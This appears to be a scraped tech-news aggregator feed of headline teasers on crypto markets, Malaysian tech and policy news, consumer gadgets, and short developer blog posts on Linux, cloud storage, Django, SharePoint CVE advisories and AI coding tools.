    XRP Climbs 4% on Triangle Breakout, Holds $3.50 Amid Profit-Taking
    Digital asset breaks multi-year technical pattern as Congress advances crypto legislation, though institutional profit-taking emerges in final trading hour.
    Dogecoin Could Soon Verify ZK Proofs Natively, Thanks to DogeOS Push
    Developers aim to transform an unused part of the script system into a tool that can verify cryptographic proofs, starting with ‘Groth16’ (a specific type of proof widely used in zk systems) and allowing for future upgrades.
    South Korea Tells Firms to Cut Exposure to Crypto ETFs, Coinbase and Strategy: Report
    The report seems to suggest a change in stance by South Korea, which was reportedly looking to ease crypto trading.
    Asia Morning Briefing: The First AI vs BTC Environmental Impact Numbers are Here. And it Might Start a New Debate
    Bitcoin’s environmental footprint dwarfs that of large language models across every metric, from CO₂ emissions to water use to mineral depletion. But comparisons need context.
  • Open

    Google DeepMind’s new AI can help historians understand ancient Latin inscriptions
    Google DeepMind has unveiled new artificial-intelligence software that could help historians recover the meaning and context behind ancient Latin engravings.  Aeneas can analyze words written in long-weathered stone to say when and where they were originally inscribed. It follows Google’s previous archaeological tool Ithaca, which also used deep learning to reconstruct and contextualize ancient text,…  ( 20 min )
    The Download: what’s next for AI agents, and how Trump protects US tech companies overseas
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Navigating the rise of AI agents AI agents is a buzzy term that essentially refers to AI models and algorithms that can not only provide you with information, but take actions on your…  ( 22 min )
  • Open

    Next Generation AMD RDNA5 GPU Could Offer RTX 5080 Performance
    The AMD Radeon RX 9000 Series and its RDNA4 architecture has proven that the red chipmaker is still able to give NVIDIA and its Blackwell architecture a run for its money, as evidenced especially by the 9070 XT and the 9060 XT that we reviewed not long ago. Now, it seems that the CPU and […] The post Next Generation AMD RDNA5 GPU Could Offer RTX 5080 Performance appeared first on Lowyat.NET.  ( 35 min )
    Mastermind Of Escobar-Branded Tech Scam Faces Up To 30 Years In Prison
    The man behind the notorious Escobar-branded smartphones and gadgets has pleaded guilty to multiple counts of fraud and money laundering. Olof Kyros Gustafsson, former CEO of Escobar Inc, admitted in a US court to orchestrating a scheme that duped thousands of online buyers with promises of ultra-cheap foldable smartphones, gold-plated iPhones, and even flamethrowers. Escobar […] The post Mastermind Of Escobar-Branded Tech Scam Faces Up To 30 Years In Prison appeared first on Lowyat.NET.  ( 34 min )
    Razer Launches New Cobra HyperSpeed Gaming Mouse
    Razer officially launched its Cobra HyperSpeed gaming mouse. The mouse is the latest addition to the brand’s Cobra lineup, designed to be lightweight and lots of programmable buttons. “Cobra HyperSpeed is the feature-packed, lightweight wireless mouse we’ve always envisioned for gamers — it’s loaded with optical technology across the sensor, scroll wheel, and mouse switches, […] The post Razer Launches New Cobra HyperSpeed Gaming Mouse appeared first on Lowyat.NET.  ( 33 min )
    Deputy Comms Minister: Mandatory ID Verification for Social Media Advertisers Under Consideration
    Malaysia is considering requiring advertisers on social media platforms to verify their identities, as part of efforts to clamp down on the growing threat of online scams. The proposed move is currently being evaluated by the Malaysian Communications and Multimedia Commission (MCMC), which is in the process of drafting new subsidiary legislation, including an online […] The post Deputy Comms Minister: Mandatory ID Verification for Social Media Advertisers Under Consideration appeared first on Lowyat.NET.  ( 34 min )
    Acer Day 2025: New Desktop PC, Monitor, And Laptops Ahead Of The Special Day
    Ahead of its self-named Acer Day 2025, the Taiwanese maker of laptops, desktop PCs, and other gaming accessories was eager to show off a handful of new products to the media. That list includes Nitro 50, the Predator X27U X2, the Swift Edge 14 AI, and the Travelmate P6 14 AI. Starting with the Acer […] The post Acer Day 2025: New Desktop PC, Monitor, And Laptops Ahead Of The Special Day appeared first on Lowyat.NET.  ( 35 min )
    GWM Teases Upcoming Supercar To Rival BYD Yangwang U9
    GWM released a teasing image announcing their entry into the supercar realm. The picture was shared by the company on its official Weibo page in conjunction with the company’s 35th anniversary. Looking at the image, it can be seen that the model is hidden under a black drape, while it is surrounded by top executives […] The post GWM Teases Upcoming Supercar To Rival BYD Yangwang U9 appeared first on Lowyat.NET.  ( 34 min )
    Acer Day 2025: Acer Introduces New Desktop And Portable Monitors, As Well As A Portable Projector
    Acer today has introduced its latest desktop and portable monitors, as well as a smart portable projector, as part of its Acer Day 2025 celebration. The devices in question include the EK1 monitor series, the PM161QT portable touchscreen monitor, and the Fire Legend QF23s smart portable projector (shown above) by the company’s sub-brand AOpen. To […] The post Acer Day 2025: Acer Introduces New Desktop And Portable Monitors, As Well As A Portable Projector appeared first on Lowyat.NET.  ( 35 min )
    Sharp Has A Prototype VR Haptic Controller For Sensing Textures
    If one were to describe VR as an internet meme, it probably has the biggest gulf between expectation and reality. A new prototype controller has appeared to help bridge the gap somewhat. But this comes from a brand that most would probably not expect – Japanese electronics brand and Foxconn subsidiary Sharp. And it’s called […] The post Sharp Has A Prototype VR Haptic Controller For Sensing Textures appeared first on Lowyat.NET.  ( 34 min )
    Immigration Department To Implement MyVISA 2.0 On 1 August
    The Immigration Department (JIM) has announced MyVISA 2.0, an upgraded digital visa platform designed to streamline the visa application process for foreign nationals. This new system is set to go live on 1 August 2025. According to JIM director-general Datuk Zakaria Shaaban, the system uses artificial intelligence to speed up the visa application process. He […] The post Immigration Department To Implement MyVISA 2.0 On 1 August appeared first on Lowyat.NET.  ( 33 min )
    BYD Sealion BYD Sealion 06 EV And DM-i Set To Launch In China
    The Chinese marque, BYD, is slated to launch its Sealion 06 EV and DM-i in China tomorrow on 24 July 2025. The SUV was first unveiled during the Shanghai Auto Show 2025 and it is the first model under the company’s Ocean Series line-up. Both variants share the same design language, starting with the closed […] The post BYD Sealion BYD Sealion 06 EV And DM-i Set To Launch In China appeared first on Lowyat.NET.  ( 35 min )
    85% Households To See Lower Electricity Bills Despite Tariff Restructuring
    Last month, the Energy Commission announced the restructuring of electricity tariffs starting in July. The assumption is that this will lead to people seeing higher electricity bills. But Prime Minister Anwar Ibrahim has said that this is not the case for the majority of Malaysian households. Instead, he claims that up to 85% of households […] The post 85% Households To See Lower Electricity Bills Despite Tariff Restructuring appeared first on Lowyat.NET.  ( 34 min )
    Anwar Ibrahim Announces Fuel Price Cut, Toll Hike Freeze
    Prime Minister, Datuk Seri Anwar Ibrahim announced today that the price of RON95 fuel will be reduced to RM1.99 from RM2.05. This announcement was made during his special televised address to Malaysians regarding the targeted oil subsidies. This reduction, according to him, will be implemented before the end of September 2025. “Before the end of […] The post Anwar Ibrahim Announces Fuel Price Cut, Toll Hike Freeze appeared first on Lowyat.NET.  ( 35 min )
    Anwar: RM100 Handout For All Malaysian Adults
    Prime Minister Anwar Ibrahim has announced a one-off RM100 in handouts for all Malaysian citizens aged 18 and above. This comes as part of the Sumbangan Asas Rahmah (SARA) program, and in conjunction with the upcoming National Day. With that in mind, the RM100 cash aid will only be usable between 31 August and 31 […] The post Anwar: RM100 Handout For All Malaysian Adults appeared first on Lowyat.NET.  ( 34 min )
    MOH Is Developing An AI Tool To Combat Dengue
    The Ministry of Health (MOH) is developing an artificial intelligence system to combat dengue. The AI tool will be used to predict and identify dengue hotspots, allowing for improved early detection and outbreak response. According to Health Minister Datuk Seri Dr Dzulkefly Ahmad, the initiative is part of a broader strategy by the government to […] The post MOH Is Developing An AI Tool To Combat Dengue appeared first on Lowyat.NET.  ( 33 min )
    vivo X Fold5 Redefines Foldables with Ultra-Light Design and Powerful AI Features
    When it comes to foldables, most people imagine something chunky, complicated, or just a bit too extra for daily use. But the vivo X Fold5 flips that idea on its head. It’s sleek, it’s smart, and it fits effortlessly into everyday routines – whether for work, travel, or managing the usual hustle. Two things immediately […] The post vivo X Fold5 Redefines Foldables with Ultra-Light Design and Powerful AI Features appeared first on Lowyat.NET.  ( 40 min )
    CMF Watch 3 Pro Officially Launched With Bigger Display
    Nothing sub-brand CMF has unveiled its newest wearable, the Watch 3 Pro. The smartwatch features upgrades in terms of display and battery life. Also worth pointing out is the new name – the watch is called “Watch 3 Pro”, while its predecessor is named “Watch Pro 2”. The CMF Watch 3 Pro features a 1.43-inch […] The post CMF Watch 3 Pro Officially Launched With Bigger Display appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Day 3 - Mastering Advanced Linux Commands
    Why Linux Commands are essential. Learning advanced Linux commands is essential for anyone working in tech, especially in DevOps, system administration, cybersecurity, cloud computing, and software development. Here's why: Efficiency & Productivity Critical for DevOps and Cloud Roles Powerful Scripting & Automation Automate backups Monitor system performance Manage logs Deploy code Security and Permissions Remote Server Management Log Analysis & Troubleshooting Job Market Advantage Task Linux Command 1. View the content of a file and display line numbers cat -n filename.txt or nl filename.txt 2. Make file readable, writable, executable by owner only chmod 700 filename.txt 3. Check the last 10 commands you have run `history tail -10` 4. Remove a directory and all its contents rm -r directory_name 5. Create fruits.txt, add content (one fruit per line), and display it cat > fruits.txt Apple Mango Banana Cherry Kiwi Orange Guava cat fruits.txt 6. Create devops.txt and append “Pineapple” cat > devops.txt Apple Mango Banana Cherry Kiwi Orange Guava echo "Pineapple" >> devops.txt 7. Show the first three fruits in reverse order `head -n 3 devops.txt tac` 8. Show the bottom three fruits and sort alphabetically `tail -n 3 devops.txt \ sort` 9. Create Colors.txt, add one color per line, and display it cat > Colors.txt Red Pink White Black Blue Orange Purple Grey cat Colors.txt 10. Prepend "Yellow" to the beginning of Colors.txt sed -i '1iYellow' Colors.txt 11. Find and display common lines between both files comm -12 <(sort fruits.txt) <(sort Colors.txt) 12. Count lines, words, and characters in both files wc fruits.txt Colors.txt Advanced Linux commands turn you from a user into a power user—capable of automating, optimizing, and managing systems like a pro.  ( 4 min )
    Ferramentas e rotina nos meus estudos com IA
    Para manter constância nos estudos de programação, eu sigo um roteiro simples, mas bem eficiente. Uso o roadmap.sh como guia principal pra definir os tópicos. O Roadmap é um site que organiza conteúdos de forma visual, dividindo por área (front-end, back-end, DevOps etc.) e por nível de profundidade. Me ajuda a não estudar coisas fora de ordem nem pular etapas importantes só porque algo “parece mais legal”. Ao invés de cair no ciclo vicioso de vídeos, cursos e tutoriais infinitos, eu adotei um processo que me força a refletir, aplicar e revisar. A IA entrou nessa rotina como uma aliada, mas só funciona de verdade quando eu estudo com ela, não por causa dela. Aqui vai o meu passo a passo: Nada de “estudar JavaScript” como um bloco só. Prefiro ir em partes menores e bem definidas: closures, …  ( 4 min )
    Getting Started with YINI: A Modern, Human-Friendly Config Format
    Intro to YINI Config Format Hi, first you might wonder what yini - a Japanese poem or? :P Nah, no :) - YINI is a minimal and human-readable configuration file format (with a formally defined grammar and a specification). Quick Start ^ App name = "MyApp" enabled = true It was designed for clarity and simplicity, offering features that aims to improve on classic INI while avoiding the complexity of formats like YAML - yet being less noisy than JSON and TOML. Here's an introduction to the YINI config format... Group settings under a named header. A section header name starts with ^. Start a section with ^, e.g.: ^ App title = "AppName" Alternative section markers to ^ are also supported: <, §, € (e.g. < Section). Each line inside a section is a key (name) and value, separated by =. Write …  ( 5 min )
    Robots-AI: Free Multi-Agent AI Platform
    🚀 100% Free to Use – No High-End Hardware Needed! https://lnkd.in/dwqDSuZH  ( 3 min )
    Domain Event Pattern for Decoupled Architectures
    In modern applications, different parts of a system often need to react to changes without being tightly coupled. For example, when a user registers or an order is placed, several components might need to send notifications, update analytics, or trigger workflows. The Domain Event Pattern provides a clean solution to this problem by modeling significant business events as immutable facts. It allows systems to communicate through events in a decoupled way, making them more modular, scalable, and easier to maintain. The Domain Event Pattern, a key concept in Domain-Driven Design (DDD), captures significant changes within your business domain as immutable events. A domain event represents a fact that has already occurred - such as "Order Created" or "User Registered" - and includes details li…  ( 6 min )
    WebForms Core Birthday
    Today, July 22, 2025, marks the first anniversary of WebForms Core, the innovative technology developed by Elanat. One year ago, the first release of WebForms Core introduced powerful features for controlling DOM elements in HTML. Since then, Elanat has continuously updated the technology, releasing multiple new versions to enhance its capabilities. WebForms Core has quickly positioned itself as a serious and formidable rival to conventional front-end frameworks. With remarkable flexibility, it empowers developers to build highly interactive and complex web applications. This radical technology boldly aims to fully replace traditional front-end frameworks. It competes directly with modern giants like Angular, Vue, and React, yet it follows a fundamentally different design philosophy. Despi…  ( 4 min )
    How I created a successful recon tool for bug hunters and how you can build one too
    Recon is one of the most important steps when you’re looking for vulnerabilities. I use several tools in my workflow to speed things up, and one of the ones I created myself is called malwaricon (GitHub link). I based it on a script originally written at MIT and adapted it to fit how I work during bug bounty programs. malwaricon helped me spot new assets, map out endpoints quickly, and keep my recon work organized-all with a single script. It’s been super useful, and if it worked for me, you can definitely create something even better for yourself. In this post, I’m going to walk you through exactly how I built this script, step by step. No magic, no black box, just plain Bash scripting and some great open-source tools. By the end, you’ll have your own recon framework to use and expand. Ye…  ( 11 min )
    Provide shared file storage for the company offices
    Create and configure a storage account for Azure Files. 1. Create a storage account for the finance department’s shared files. Learn more about storage accounts for Azure Files deployments. In the portal, search for and select Storage accounts. Select + Create. For Resource group select Create new. Give your resource group a name and select OK to save your changes. Provide a Storage account name. Ensure the name meets the naming requirements. Set the Performance to Premium. Set the Premium account type to File shares. Set the Redundancy to Zone-redundant storage. Select Review and then Create the storage account. Wait for the resource to deploy. Select Go to resource. 1. Create a file share for the corporate office. Learn more about Azure File tiers. In the storage account, in …  ( 4 min )
    DAY 00 - Introduction - I am creating my own SDK from scratch in C++
    Introduction In this article I will go through my project idea and everything you need to know before I start working on it. As of the time of writing this article I have starting the project and I am very excited to start sharing my progress. So what is the reason I decided to build my own C++ SDK? Well it all comes down to cyber security for me, I love the world of security and as a cyber security specialist I have been trying to find a way to make the digital world as secure as possible. This led me to using C++ to build my own SDK that can be as secure as C++ and the OS it runs on will let it, this is not 100% security but maximum possible currently. How exactly does this all work and fit together? Well you see in order to produce maximum security you need full control of hardware an…  ( 5 min )
    Como e quando usar Django Signals
    O padrão Observer Antes de abordarmos as signals no Django, vale entender o padrão de design que as inspira: o Observer. O padrão Observer, também conhecido como "publicador-assinante" (ou pub-sub), consiste em definir um mecanismo onde certos objetos (os observadores) reagem automaticamente a mudanças em outro objeto (o sujeito). Isso é útil quando você quer que partes diferentes do sistema fiquem "de olho" em algum evento e ajam quando ele ocorrer, sem precisar acoplar diretamente os componentes envolvidos. No contexto do Django, o sujeito geralmente é um model (por exemplo um User) e os observadores são funções que você registra para reagir a eventos como salvar ou deletar esse modelo. Sempre que um desses eventos acontece, todos os observadores registrados são notificados automaticam…  ( 6 min )
    Build a fingerprint-controlled servo lock with Raspberry Pi
    Create a secure, biometric access control system that unlocks a servo-powered latch when it detects an enrolled fingerprint. Perfect for geocache boxes, garage doors, or any physical access control application. A complete fingerprint authentication system using: R503 fingerprint sensor for biometric scanning and enrollment Servo motor controlling a physical latch mechanism Raspberry Pi 4 running the Viam robotics server Custom control logic that triggers the servo when fingerprints match Fingerprint Management: Enroll up to 200 different fingerprints across multiple slots, with support for enrolling the same finger multiple times to improve recognition reliability under varying angles and pressure. Automated Latch Control: Servo automatically moves to open position (180°) when authorized fingerprint detected, then returns to closed position (90°) after configurable timeout (default 30 seconds). Remote Configuration: Use Viam's web interface to test components, enroll new fingerprints via JSON commands, and monitor sensor readings in real-time. Extensible Design: Build mobile or web apps using Viam's SDKs to create user-friendly enrollment interfaces for others to add their fingerprints. Raspberry Pi 4 with USB flash drive R503 fingerprint sensor USB-to-serial adapter for sensor connectivity Servo motor (SG90 or similar) Jumper wires and connection materials Optional: 3D-printed or custom enclosure and latch mechanism The tutorial walks through complete setup including Raspberry Pi OS installation, SSH configuration, Viam platform setup, component wiring diagrams, and step-by-step fingerprint enrollment using JSON commands. The modular design separates sensor detection, servo control, and coordination logic for easy customization. Ready to build your own biometric lock? Follow the complete step-by-step tutorial 👉 Enable physical access using a fingerprint sensor.  ( 3 min )
    Mounting Amazon EFS Across 3 Regions (Kubernetes + EC2): Work-arounds, Tweaks & Startup Automation
    Mounting Amazon EFS across multiple AWS regions is not something you do every day—but when you need to, the pain becomes real. In this article, I’ll walk through how I achieved cross-region EFS mounting from three AWS regions into a single Kubernetes (EKS) and EC2-based deployment. We’ll cover the architecture, common pitfalls, and practical work-arounds for both environments. EFS DNS is regional. Each mount helper expects the region-specific hostname (e.g., fs-1234.efs.us-east-1.amazonaws.com). When you point that hostname at a mount target in a different region, the helper often fails—especially inside Kubernetes—because it does a DNS check and won’t trust /etc/hosts overrides. Why Cross-Region EFS Mounting? We manage workloads that span multiple AWS regions to support high availability …  ( 4 min )
    CVE-2025-49706: Microsoft SharePoint Improper Authentication Vulnerability
    CVE ID CVE-2025-49706 Microsoft SharePoint Improper Authentication Vulnerability Project: Microsoft Product: SharePoint Date Date Added: 2025-07-22 Due Date: 2025-07-23 Microsoft SharePoint contains an improper authentication vulnerability that allows an authorized attacker to perform spoofing over a network. Successfully exploitation could allow an attacker to view sensitive information and make some changes to disclosed information. This vulnerability could be chained with CVE-2025-49704. The update for CVE-2025-53771 includes more robust protections than the update for CVE-2025-49706. Unknown CISA recommends disconnecting public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS). For example, SharePoint Server 2013 and earlier versions are end-of-life and should be discontinued if still in use. For supported versions, please follow the mitigations according to CISA and vendor instructions. Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. CISA Mitigation Instructions: https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770; https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/ ; https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706 ; https://nvd.nist.gov/vuln/detail/CVE-2025-49706 Common Vulnerabilities & Exposures (CVE) List  ( 3 min )
    CVE-2025-49704: Microsoft SharePoint Code Injection Vulnerability
    CVE ID CVE-2025-49704 Microsoft SharePoint Code Injection Vulnerability Project: Microsoft Product: SharePoint Date Date Added: 2025-07-22 Due Date: 2025-07-23 Microsoft SharePoint contains a code injection vulnerability that could allow an authorized attacker to execute code over a network. This vulnerability could be chained with CVE-2025-49706. The update for CVE-2025-53770 includes more robust protections than the update for CVE-2025-49704. Unknown CISA recommends disconnecting public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS). For example, SharePoint Server 2013 and earlier versions are end-of-life and should be discontinued if still in use. For supported versions, please follow the mitigations according to CISA and vendor instructions. Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. CISA Mitigation Instructions: https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770; https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/ ; https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704 ; https://nvd.nist.gov/vuln/detail/CVE-2025-49704 Common Vulnerabilities & Exposures (CVE) List  ( 3 min )
    DevLog 20250722: (Special Project) Correct Physics Handling
    Overview This little project deals with very simple (2D) right body physics. I will not spoil all the fun - essentially we control a 2D rocket. It would be fun to visualize data processing in such a fashion on a node canvas - kind of matches our Divooka visual programming scheme. The hypothesis is that at least for 2-dimensional cruise control, a simple PID should be able to do something useful, and it's with that gut I am set to experiment a bit to verify my idea. I've done some experiments in July last year but ended up not going far due to technical challenges. The challenge was to get it working properly with physics setup. Per RigidBody2D doc: So is it relative or global? Without being able to visualize the force, it's a bit hard to tell also whether to use a force, or to use impulse. It's been a while and I almost gave up - never really have time to create our own physics engine. But Godot got a new physics kernel and I thought maybe give it a try. I've been doing some analytics and talking with ChatGPT on a new airship design that puts the air vessel at the bottom of the ship instead of hanging overhead - that inspired me maybe there are two things with current setup that's not working: After fixing a few API calls related to GraphEdit get_children() change. I was looking at the force application code once again: func _physics_process(delta): # Remark: We are not using to_global directly because of issues with viewport transform var left_anchor = %LeftThrusterCenterOfAction.position var right_anchor = %RightThrusterCenterOfAction.position # Remark: applied force is RELATIVE to the body (aka. current object) apply_force(Vector2(0, -1).rotated(rotation + _left_engine_angle_degrees / 180.0 * PI) * _left_engine_thrust, left_anchor) apply_force(Vector2(0, -1).rotated(rotation + _right_engine_angle_degrees / 180.0 * PI) * _right_engine_thrust, right_anchor) Again, it's really simple once we figure out what's the right way to do things. Video and intro: YouTube  ( 3 min )
    97% drop in traffic. No code changes. Just added a package.
    One of our users was sending more Kafka traffic than needed. We added a small package on the client. Didn’t touch the code. Traffic dropped by 97%. This isn’t observability. It’s action. Want the diff?  ( 3 min )
    Navbar Update & New Documents Feature (WIP) #16
    Servus and welcome back to Day 16 of building my CRM – and I’m making small but important progress. I’ve restructured the navigation bar to be: More responsive Cleaner in design Easier to extend later Simple change, but it already makes the app feel more polished. Started working on a document management feature – the idea is to: Upload and store client-related files Categorize & tag documents Maybe even preview files in-app later on Still a work in progress, but the foundation is there. Didn’t get everything finished today — but that’s okay. Shipping daily progress is the goal. More updates coming soon! Let me know if you have ideas for how the documents module should work 🙌 Jonathan (0xj0n1)  ( 3 min )
    The AI tool no one talks about is secretly winning
    I've spent the past month diving deep into developer subreddits, dev forums and youtube playlists to uncover what developers think about AI coding tools. The landscape is more quality driven and fragmented than most analyses suggest with some surprising winners and notable disappointments. This analysis synthesizes feedback from 100+ sources including Reddit discussions, GitHub issues, developer testimonials and community forums, weighted across technical performance, adoption patterns, pricing concerns and platform specific limitations. The sentiment scores reflect general web sentiment patterns rather than definitive market positions. I'll be sharing the detailed criteria, weighting methodology and source breakdown in upcoming issues. Consider this a snapshot of July 2025 developer senti…  ( 5 min )
    Build a Production-Ready Crypto Alert System in 20 Minutes
    Build a Production-Ready Crypto Alert System in 20 Minutes Real-time price alerts, browser notifications, and professional UI with React + LunarCrush API Picture this: It's 3 AM, Bitcoin just hit an all time high, and your phone buzzes with a push notification from an app you built yourself. While everyone else is scrambling to check their portfolio in the morning, you've already captured the perfect entry point thanks to your custom alert system. 🚀 Try the Live Demo - View the deployed version and explore the code That's exactly what we're building today. We're creating a production-ready cryptocurrency alert system that demonstrates modern frontend development skills while solving a real-world problem. Here's what makes this project special: Key Features 🔔 11 Different Alert T…  ( 8 min )
    Claude Code Tip: Game changer: Ask Claude Code ...
    Game changer: Ask Claude Code to "write tests for this function including edge cases". Got 20 test cases I never would have thought of. What's your favorite Claude Code productivity tip? Share below! claudecode #productivity #coding #ai  ( 3 min )
    Claude Code Debugging Magic
    Claude Code debugging tip: Paste your error and ask "explain this error and show me the fix". Just fixed a race condition I'd been hunting for days in 2 minutes! Have you tried this Claude Code feature? It's been a game-changer for my debugging workflow! What debugging tricks do you use with AI coding assistants? claudecode #debugging #productivity #ai  ( 3 min )
    Left Join Gotcha: Rows Duplication
    I am sure you saw it a zillion times, but it can still hit you if you're being sloppy. customer_id customer_name 1 Alice 2 Bob 3 Charlie and your right table is: product_id customer_id a 1 b 1 b 2 c 2 c 3 Then, the result of the join would be: customer_id customer_name product_id 1 Alice a 1 Alice b 2 Bob b 2 Bob c 3 Charlie c This is a very straightforward example, so you might not be surprised. Data quality issues can mean that your understanding of the data is misaligned with the actual nature of the data you use. expect it to have unique identifiers, but in reality it has duplications. These duplications will end up in the result of the join! So the lesson learned is: ALWAYS CHECK PRE-CONDITIONS!  ( 3 min )
    Restarting My Journey Into Tech & Cybersecurity
    Restarting my tech journey has been one of the hardest decisions I've made recently. After nearly 4 years away from programming, I’ve decided to come back with a strong interest in IT and a growing passion for cybersecurity. It’s not easy. Some days I feel completely lost. I’ve struggled with: Staying consistent Rebuilding confidence Choosing the right direction Feeling like I’m "too far behind" But deep down, I know this is something I truly care about. 🔐 I want to understand how systems are protected. This post isn’t about milestones. If you’re also learning, restarting, or exploring IT or cybersecurity, let’s connect. We don’t have to figure it out alone.  ( 3 min )
    Claude Code Productivity Tip
    Claude Code tip: Ask "refactor this to use modern patterns" and watch it transform your legacy code instantly. Just saved 3 hours refactoring a 2000-line React component. What's your experience with Claude Code? Share your tips in the comments! claudecode #productivity #ai #coding  ( 3 min )
    Building RideLink with Bolt.new: From Frustration to Functional App in One Month
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. TL;DR: I built a mobile app called RideLink that compares ride-hailing prices across multiple services (Uber, Lyft, and more) and launches the chosen ride with pre-filled details, saving time, money, and taps. I did this in one month using Bolt.new’s AI-powered development platform, which transformed how I approached coding and helped me go from a personal pain point to a working prototype fast. Adopting an AI Co-Developer with Bolt.new I had never used a tool quite like it before, and I was eager to see how it could accelerate the creation of RideLink. Using Bolt felt like pair-programming with an incredibly fast, tireless junior developer. I would describe a feature or ask a question in natural…  ( 9 min )
    How I Use AI to Run My Digital Nomad Business (While Traveling the World)
    I run my online income streams while bouncing between cities, hostels, and sometimes hammocks. Here's the AI stack that makes it possible — no coding required. Imagine this: you're in Vietnam. It’s 2AM. The Wi-Fi sucks. You’re on deadline. And you forgot to invoice your client in USD. That was me. After 6 months of chaos, I built a minimalist AI stack that now runs most of my content, scheduling, payments, and marketing — so I can focus on traveling, creating, and sleeping (sometimes). Fliki helps me turn my travel tips and blog posts into short-form videos with voiceover. Use case: Repurpose content into YouTube Shorts & TikToks — no editing needed. PromptimizeAI improves my prompts before I feed them to ChatGPT or Claude. Result: More accurate, SEO-friendly posts with less editing. Wise lets me receive client payments, pay in local currencies, and avoid huge conversion fees. Example: I saved over €250 in fees during 2024 just by switching. WayAway finds cheap flights and gives me cashback for every booking. Bonus: You can earn commissions if you promote it as an affiliate. Outline in Promptimize Write & edit in Notion or Markdown Convert to video with Fliki Post to Medium + Substack + LinkedIn Share on TikTok, Pinterest Manage finances with Wise Track clicks/conversions via PostHog You don't need a huge team. Just smart automation. AI saves time — not just for devs or marketers, but for creators, educators, freelancers. The less you manage manually, the more time you have to actually live. 🔒 Disclaimer: This post contains affiliate links. I only recommend tools I actively use in my daily workflow. If you sign up, I may earn a small commission at no extra cost to you. Happy to answer any questions in the comments! 🧠🌍 digitalnomad #buildinpublic #aiworkflow  ( 4 min )
    Measures of central tendency and their significance in the field of data science
    In this article we are going to explore methods used in measuring central tendency of data, and their importance in the field of data science. What are measures of central tendency? These are numerical values that represent the middle value in a dataset, also known as averages. They are important for summarizing data by finding average values. The commonly used measures are: - The Mean - The Median - The Mode Example using Python Importance of measures of central tendency in the field of data science • Summarize large datasets making them easier to understand. Applications • A clothing store stocking the most common sizes purchased. • Companies evaluating their average employee salaries. • Insurance providers evaluating the median age of their customers.  ( 4 min )
    Teaching the Toaster: What We Get Wrong About AI "Learning"
    “I finally got ChatGPT to understand what I wanted!” When we work with AI, especially LLMs it can feel like there is a collaboration taking place. ChatGPT can retain basic facts between sessions, if memory is turned on. It might remember your name, your preferences, or the kind of projects you’re working on. And it “feels” like it is learning about you. Claude, by contrast, doesn’t remember anything once the conversation ends. Yet people still say things like, “Claude knows what I want,” or “I’ve trained Claude to respond the way I like,” as though it’s gradually evolving with them. This misunderstanding of AI’s capabilities isn’t just a quirky linguistic habit, it’s a risk. “It realized its mistake and tried to hide it.” When users believe AI understands them or learns over time, a few d…  ( 6 min )
    Understanding LLMs: A Beginner’s Guide for Non-AI Folks
    If you’ve heard of ChatGPT, Bard, or Claude and wondered how these smart assistants work, you’ve come across something called an LLM, or Large Language Model. But what is an LLM really? Let’s break it down in the simplest way possible. 💡 What is a Large Language Model (LLM)? A Large Language Model is a type of computer program that has been trained to understand and generate human language. Think of it like a super advanced autocomplete on your phone—but way smarter. Imagine feeding a machine with billions of sentences from books, websites, and conversations, and then asking it to guess what comes next in a sentence. Over time, it gets really good at predicting and forming sentences that make sense, answer questions, or even write stories. 🧠 How Does It Work (In Simple Words)? Training: …  ( 4 min )
    [Boost]
    Introducing Warden: A Self-Hosted Error Monitoring Platform Roman Chudov ・ Jul 21 #programming #monitoring  ( 2 min )
    Implementing Transactional Tests with MySQL
    I want to share about my library for writing tests within transactions when working with MySQL. I enjoy writing tests for my code, but I dislike creating mocks and all the necessary boilerplate around them. This is especially true for databases - while mocking calls to external services and message queues isn't too difficult, databases present a much greater challenge. Interaction with databases is typically quite 'rich', which leads to having to write numerous fragile and tedious mocks/stubs. Moreover, the actual database queries themselves remain untested (and this is where errors often lurk, related to incorrect queries or schema migration mistakes). The solution here is to use a real database with test data that we populate before running all tests or a specific test. But this raises t…  ( 6 min )
    🧠 The Future of AI in Software Development: Co-Creation, Not Replacement
    🚀 Introduction But with great power comes great questions: In this post, we’ll dive deep into how AI is shaping the future of software development — and how you can position yourself at the forefront. 🤖 1. AI as the Developer’s Co-Pilot Current capabilities include: Generating full functions from plain-English prompts Refactoring large codebases with minimal human input Recommending optimal libraries or design patterns Writing tests, documentation, and edge case handling 💡 Reality Check: You still need to know what to build, how to structure it, and how to make engineering decisions. AI helps, but doesn’t lead (yet). 📈 2. AI in the DevOps and QA Pipeline Automated Testing: AI writes, runs, and even predicts missing tests. Code Review Assistants: Tools like DeepCode and Codacy analyze P…  ( 4 min )
    How to get the length of a PDF file on AWS s3 using Python?
    Ever wondered how to find the length of a pdf file on s3? You are at the right place to learn. 📝 Prerequisite: Access to AWS account 📖 Here are the simple steps to get the length of a pdf file on AWS s3: Login to AWS console (Create an account if you do not have one) Look for service s3 Create a bucket and upload an object Open VS code or your favorite IDE Install boto3 and pypdf with below commands: pip install boto3 pypdf Make sure your aws credentials are configured ~/.aws/credentials, or via environment variables, or IAM roles Copy the below python code into file named main.py and run it with the code: python main.py main.py: import boto3 from pypdf import PdfReader from io import BytesIO # S3 Configuration bucket_name = 'demo-bucket-14576876757' pdf_key = 'sample_file.pdf' # Create S3 client s3 = boto3.client('s3') # Download the PDF into memory response = s3.get_object(Bucket=bucket_name, Key=pdf_key) pdf_content = response['Body'].read() # Load PDF from memory reader = PdfReader(BytesIO(pdf_content)) # Get number of pages num_pages = len(reader.pages) print(f"The PDF has {num_pages} pages.") 🖥️ Output: ✅ Yes, it is that simple!  ( 3 min )
